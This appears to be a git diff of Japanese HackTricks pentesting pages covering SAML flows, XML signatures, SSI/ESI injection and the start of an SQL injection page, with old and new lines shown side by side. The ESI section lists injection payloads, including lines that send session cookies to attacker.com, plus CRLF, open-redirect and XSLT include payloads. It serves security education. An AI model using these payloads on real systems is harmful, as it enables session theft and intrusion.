これにより、`base`パラメーターがURLを受け入れることが判明しました。これを考慮して、`javascript:alert(123);`というURLで置き換えてXSSクロスサイトスクリプティング攻撃を試みるアイデアが浮かびました。 これにより、`base`パラメーターがURLを受け入れることが明らかになりました。これを考慮して、URLを`javascript:alert(123);`に置き換えてXSSクロスサイトスクリプティング攻撃を試みるアイデアが浮かびました。
### 大規模な悪用 ### 大規模な悪用
@ -233,10 +296,10 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks****HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>

View file

@ -4,18 +4,18 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するに、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
# SAML概要 # SAML概要
**セキュリティアサーションマークアップ言語SAML**は、アイデンティティプロバイダーIdPがサービスプロバイダーSPに認証資格情報を送信するために利用され、シングルサインオンSSOを容易にします。このアプローチは、複数のログインの管理を簡素化し、複数のウェブサイトで単一の資格情報セットを使用できるようにします。ユーザーの認証とサービスの認可をリンクするために、IdPとSPの間で標準化された通信にXMLを活用しています。 **セキュリティアサーションマークアップ言語SAML**は、アイデンティティプロバイダーIdPがサービスプロバイダーSPに認証資格情報を送信するために利用され、シングルサインオンSSOを容易にします。このアプローチにより、複数のログインの管理が簡素化され、複数のウェブサイトで1つの資格情報セットを使用できます。ユーザーの認証とサービスの認可をリンクさせるために、IdPとSPの間で標準化された通信にXMLを活用しています。
## SAMLとOAuthの比較 ## SAMLとOAuthの比較
@ -24,26 +24,26 @@ HackTricksをサポートする他の方法
# SAML認証フロー # SAML認証フロー
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください。** これは要約です: **詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください**。これは要約です:
SAML認証プロセスには、次のステップが関与します SAML認証プロセスには、次のステップが関与します。スキーマで示されている通り
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg) ![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **リソースアクセス試行**:ユーザーが保護されたリソースにアクセスしようとします。 1. **リソースアクセス試行**:ユーザーが保護されたリソースにアクセスしようとします。
2. **SAMLリクエスト生成**SPはユーザーを認識せず、SAMLリクエストを生成します。 2. **SAMLリクエスト生成**SPはユーザーを認識せず、SAMLリクエストを生成します。
3. **IdPへのリダイレクト**ユーザーはIdPにリダイレクトされ、SAMLリクエストがユーザーのブラウザを介して渡されます。 3. **IdPへのリダイレクト**ユーザーはIdPにリダイレクトされ、SAMLリクエストがユーザーのブラウザを介して渡されます。
4. **IdPがリクエストを受信**IdPはSAMLリクエストを受信します。 4. **IdPがリクエストを受信**IdPはSAMLリクエストを受信します。
5. **IdPでの認証**IdPがユーザーを認証します。 5. **IdPでの認証**IdPがユーザーを認証します。
6. **ユーザーの検証**IdPは、ユーザーが要求されたリソースにアクセスする正当性を検証します。 6. **ユーザーの検証**IdPはユーザーのリクエストされたリソースへのアクセス権を検証します。
7. **SAMLレスポンスの作成**IdPは必要なアサーションを含むSAMLレスポンスを生成します。 7. **SAMLレスポンスの作成**IdPは必要なアサーションを含むSAMLレスポンスを生成します。
8. **SPのACS URLへのリダイレクト**ユーザーはSPのAssertion Consumer ServiceACSURLにリダイレクトされます。 8. **SPのACS URLへのリダイレクト**ユーザーはSPのAssertion Consumer ServiceACSURLにリダイレクトされます。
9. **SAMLレスポンスの検証**ACSがSAMLレスポンスを検証します。 9. **SAMLレスポンスの検証**ACSがSAMLレスポンスを検証します。
10. **リソースアクセスが許可される**:最初に要求されたリソースへのアクセスが許可されます。 10. **リソースアクセスが許可される**:最初にリクエストされたリソースへのアクセスが許可されます。
# SAMLリクエストの例 # SAMLリクエストの例
ユーザーが[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)のセキュアリソースへのアクセスをリクエストするシナリオを考えてみましょう。SPは認証の不足を検出し、SAMLリクエストを生成します ユーザーがセキュアリソースにアクセスをリクエストするシナリオを考えてみましょう:[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)。SPは認証の欠如を特定し、SAMLリクエストを生成します
``` ```
GET /secure/ HTTP/1.1 GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu Host: shibdemo-sp1.test.edu
@ -60,32 +60,32 @@ SAMLリクエストの生データは次のようになります
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。 - **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
- **saml:Issuer**: リクエストを開始したエンティティを識別します。 - **saml:Issuer**: リクエストを開始したエンティティを識別します。
SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブラウザをSAMLリクエストをHTTPレスポンスの**Location**ヘッダにエンコードしてIdPにリダイレクトします。**RelayState**パラメータはトランザクション全体で状態情報を維持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識することを保証します。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンであり、Deflate圧縮とbase64エンコーディングを使用しています。 SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブラウザをSAMLリクエストをHTTPレスポンスの**Location**ヘッダにエンコードしてIdPにリダイレクトします。**RelayState**パラメータはトランザクション全体で状態情報を維持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識するようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンであり、Deflate圧縮とbase64エンコーディングを使用しています。
# SAMLレスポンスの例 # SAMLレスポンスの例
[こちらで完全なSAMLレスポンスを見つけることができます](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです: [こちらで完全なSAMLレスポンスを見つけることができます](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。 - **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **saml:Assertion**: この部分には、ユーザーのアイデンティティや他の属性に関する情報が含まれています。 - **saml:Assertion**: この部分には、ユーザーのアイデンティティや他の属性に関する情報が含まれています。
- **saml:Subject**: アサーション内のすべてのステートメントの主題を指定します。 - **saml:Subject**: アサーション内のすべてのステートメントの主題を指定します。
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。 - **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
- **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダなどの条件の詳細を示します。 - **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダのような条件の詳細を示します。
- **saml:AuthnStatement**: IdPがアサーションの主題を認証したことを確認します。 - **saml:AuthnStatement**: IdPがアサーションの主題を認証したことを確認します。
- **saml:AttributeStatement**: アサーションの主題を記述する属性を含みます。 - **saml:AttributeStatement**: アサーションの主題を記述する属性を含みます。
SAMLレスポンスの後、IdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer ServiceACSURLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。 SAMLレスポンスの後、IdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer ServiceACSURLに対してPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
POSTリクエストを受け取り、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストが`/secure/`エンドポイントに対して行われ、`200 OK`レスポンスが返されることで示され、リソースへのアクセスが成功したことが示されます。 POSTリクエストを受け取り、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストが`/secure/`エンドポイントに対して行われ、`200 OK`レスポンスが返されることで示され、リソースへのアクセスが成功したことが示されます。
# XML署名 # XML署名
XML署名は多目的であり、XMLツリー全体またはその特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです: XML署名は多目的であり、XMLツリー全体またはその特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下に、XML署名の主要なタイプが示されています:
### XML署名の基本構造 ### XML署名の基本構造
XML署名には、次に示す基本要素が含まれます XML署名には、次に示すような基本要素が含まれます:
```xml ```xml
<Signature> <Signature>
<SignedInfo> <SignedInfo>
@ -103,11 +103,9 @@ XML署名には、次に示す基本要素が含まれます
<Object /> <Object />
</Signature> </Signature>
``` ```
各`Reference`要素は、URI属性によって識別される特定のリソースを示します。
### XML署名の種類 ### XML署名の種類
1. **Enveloped Signature**: このタイプの署名は、署名されるリソースの子孫であり、署名が署名されたコンテンツと同じXML構造内に含まれていることを意味します。 1. **封入署名**:このタイプの署名は、署名されるリソースの子孫であり、署名は署名されたコンテンツと同じXML構造内に含まれていることを意味します。
例: 例:
```xml ```xml
@ -125,9 +123,9 @@ XML署名には、次に示す基本要素が含まれます
</samlp:Response> </samlp:Response>
``` ```
Enveloped署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを介して包まれていることを指定します。 封入署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを介して封入されていることを指定します。
2. **Enveloping Signature**: Enveloped署名とは対照的に、Enveloping署名は署名されるリソースを包み込みます。 2. **包含署名**:封入署名とは対照的に、包含署名は署名されるリソースを包み込みます。
例: 例:
```xml ```xml
@ -144,7 +142,7 @@ Enveloped署名では、`ds:Transform`要素が`enveloped-signature`アルゴリ
</ds:Signature> </ds:Signature>
``` ```
3. **Detached Signature**: このタイプは、署名されるコンテンツから独立しています。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されています。 3. **切り離し署名**このタイプは、署名されるコンテンツから独立しています。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されています。
例: 例:
```xml ```xml
@ -161,4 +159,7 @@ Enveloped署名では、`ds:Transform`要素が`enveloped-signature`アルゴリ
</ds:Signature> </ds:Signature>
``` ```
結論として、XML署名はXMLドキュメントを保護する柔軟な方法を提供し、各タイプが異なる構造とセキュリティのニーズを満たしています。 XML署名は、異なる構造とセキュリティのニーズを満たすために、柔軟な方法を提供します。
## 参考文献
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)

View file

@ -2,36 +2,36 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**する。
</details> </details>
## サーバーサイドインクルージョン基本情報 ## サーバーサイドインクルージョン基本情報
**(以下は[Apacheドキュメント](https://httpd.apache.org/docs/current/howto/ssi.html)から引用)** **(Apacheドキュメントから引用)**
SSIサーバーサイドインクルードは、**HTMLページに配置され、サーバーで評価**されるディレクティブです。これにより、既存のHTMLページに**動的に生成されたコンテンツ**を追加できます。CGIプログラムや他の動的技術を使用せずに、ページ全体を提供する必要がありません。\ SSIサーバーサイドインクルードは、**HTMLページに配置され、サーバーで評価**されるディレクティブです。これにより、既存のHTMLページに**動的に生成されたコンテンツを追加**することができます。CGIプログラムや他の動的技術を介してページ全体を提供する必要はありません。\
たとえば、次のように既存のHTMLページにディレクティブを配置できます。 たとえば、次のように既存のHTMLページにディレクティブを配置できます。
`<!--#echo var="DATE_LOCAL" -->` `<!--#echo var="DATE_LOCAL" -->`
そして、ページが提供されると、この断片が評価され、その値で置き換えられます。 そして、ページが提供されると、このフラグメントが評価され、その値で置き換えられます。
`Tuesday, 15-Jan-2013 19:28:54 EST` `Tuesday, 15-Jan-2013 19:28:54 EST`
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかにかかっています。SSIは、上記のように現在の時刻などの小さな情報を追加する素晴らしい方法です。ただし、ページの大部分が提供される時点で生成されている場合は、他の解決策を探す必要があります。 SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかにかかっています。SSIは、上記のように現在の時刻などの小さな情報を追加する素晴らしい方法です。ただし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
Webアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`のファイルを使用している場合、SSIの存在を推測できますが、これが唯一のケースではありません。 Webアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`を持つファイルを使用している場合、SSIの存在を推測できますが、これに限られません。
典型的なSSI式の形式は次のとおりです 典型的なSSI式の形式は次のとおりです
``` ```
<!--#directive param="value" --> <!--#directive param="value" -->
``` ```
@ -73,7 +73,7 @@ Webアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`の
### ESIの検出 ### ESIの検出
サーバーからの応答に含まれる以下のヘッダーは、サーバーがESIを使用していることを意味します サーバーからの応答に含まれるのヘッダーは、サーバーがESIを使用していることを意味します
``` ```
Surrogate-Control: content="ESI/1.0" Surrogate-Control: content="ESI/1.0"
``` ```
@ -101,11 +101,11 @@ hell<!--esi-->o
``` ```
### ESIの悪用 ### ESIの悪用
[GoSecureが作成した](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) テーブルを使用して、異なるESI対応ソフトウェアに対して試す可能な攻撃を理解するためのものです。サポートされる機能に応じて [GoSecureが作成した](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) テーブルを使用して、異なるESI対応ソフトウェアに対して試す可能な攻撃を理解することができます。それは、サポートされている機能に応じて次のようになります
* **Includes**: `<esi:includes>` ディレクティブをサポート * **Includes**: `<esi:includes>`ディレクティブをサポート
* **Vars**: `<esi:vars>` ディレクティブをサポート。XSSフィルターをバイパスするのに便利 * **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
* **Cookie**: ドキュメントクッキーESIエンジンからアクセス可能 * **Cookie**: ドキュメントクッキーESIエンジンからアクセス可能
* **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない * **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
* **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えば、SSRFはこれらのホストに対してのみ可能 * **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えば、SSRFはこれらのホストに対してのみ可能
@ -139,7 +139,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)> <esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" /> <esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
``` ```
* XSSを使用してHTTP\_ONLYクッキーを盗む方法は、レスポンスに反映させることです: * XSSを使用してHTTP\_ONLYクッキーを盗む:レスポンスに反映させる
```bash ```bash
# This will reflect the cookies in the response # This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) --> <!--esi $(HTTP_COOKIE) -->
@ -156,13 +156,13 @@ Use <!--esi--> to bypass WAFs:
``` ```
#### CRLF #### CRLF
CRLF (Carriage Return Line Feed) 攻撃は、改行文字を注入して、Web サーバーのヘッダーを改ざんすることで、悪意のあるコードを挿入する攻撃手法です。 CRLFCarriage Return Line Feed
```markup ```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/> <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
``` ```
#### オープンリダイレクト #### オープンリダイレクト
以下は、応答`Location` ヘッダーを追加します。 以下は、レスポンス`Location` ヘッダーを追加します。
```bash ```bash
<!--esi $add_header('Location','http://attacker.com') --> <!--esi $add_header('Location','http://attacker.com') -->
``` ```
@ -174,7 +174,7 @@ CRLF (Carriage Return Line Feed) 攻撃は、改行文字を注入して、Web
<esi:request_header name="User-Agent" value="12345"/> <esi:request_header name="User-Agent" value="12345"/>
</esi:include> </esi:include>
``` ```
* レスポンスにヘッダーを追加しますXSSを含むレスポンスで "Content-Type: text/json" をバイパスするのに便利 * レスポンスにヘッダーを追加しますXSSを含むレスポンスでの "Content-Type: text/json" のバイパスに役立ちます
```bash ```bash
<!--esi/$add_header('Content-Type','text/html')/--> <!--esi/$add_header('Content-Type','text/html')/-->
@ -197,7 +197,7 @@ Host: anotherhost.com"/>
``` ```
### ESI + XSLT = XXE ### ESI + XSLT = XXE
_dca_ パラメーターの `xslt` 値を指定することで、**`eXtensible Stylesheet Language Transformations (XSLT)`** ベースの ESI を含めることが可能です。このインクルージョンにより、HTTP サロゲートは XML ファイルと XSLT ファイルを取得し、後者が前者をフィルタリングします。このような XML ファイルは _XML External Entity (XXE)_ 攻撃に対して脆弱であり、攻撃者が SSRF 攻撃を実行することができます。ただし、このアプローチの有用性は限られています。ESI は既に SSRF ベクトルとして機能しているためです。基礎となる Xalan ライブラリでのサポートがないため、外部 DTD は処理されず、ローカルファイルの抽出が阻止されます。 _dca_ パラメーターの `xslt` 値を指定することで、**`eXtensible Stylesheet Language Transformations (XSLT)`** ベースの ESI を含めることが可能です。このインクルージョンにより、HTTP サロゲートは XML ファイルと XSLT ファイルを取得し、後者が前者をフィルタリングします。このような XML ファイルは _XML External Entity (XXE)_ 攻撃に対して脆弱であり、攻撃者が SSRF 攻撃を実行できるようにします。ただし、このアプローチの有用性は限られています。ESI は既に SSRF ベクトルとして機能しているためです。基礎となる Xalan ライブラリでのサポートがないため、外部 DTD は処理されず、ローカルファイルの抽出が阻止されます。
```xml ```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" /> <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
``` ```
@ -226,14 +226,14 @@ XSLTファイル
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからAWSハッキングを学び、ヒーローになりましょう!</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローしてください。** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -2,29 +2,29 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですかまたは、HackTricks を **PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見しましょう。独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。 * [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**
* **ハッキングテクニックを共有する**には、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。 * **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出します
</details> </details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## SQL インジェクションとは? ## SQL インジェクションとは?
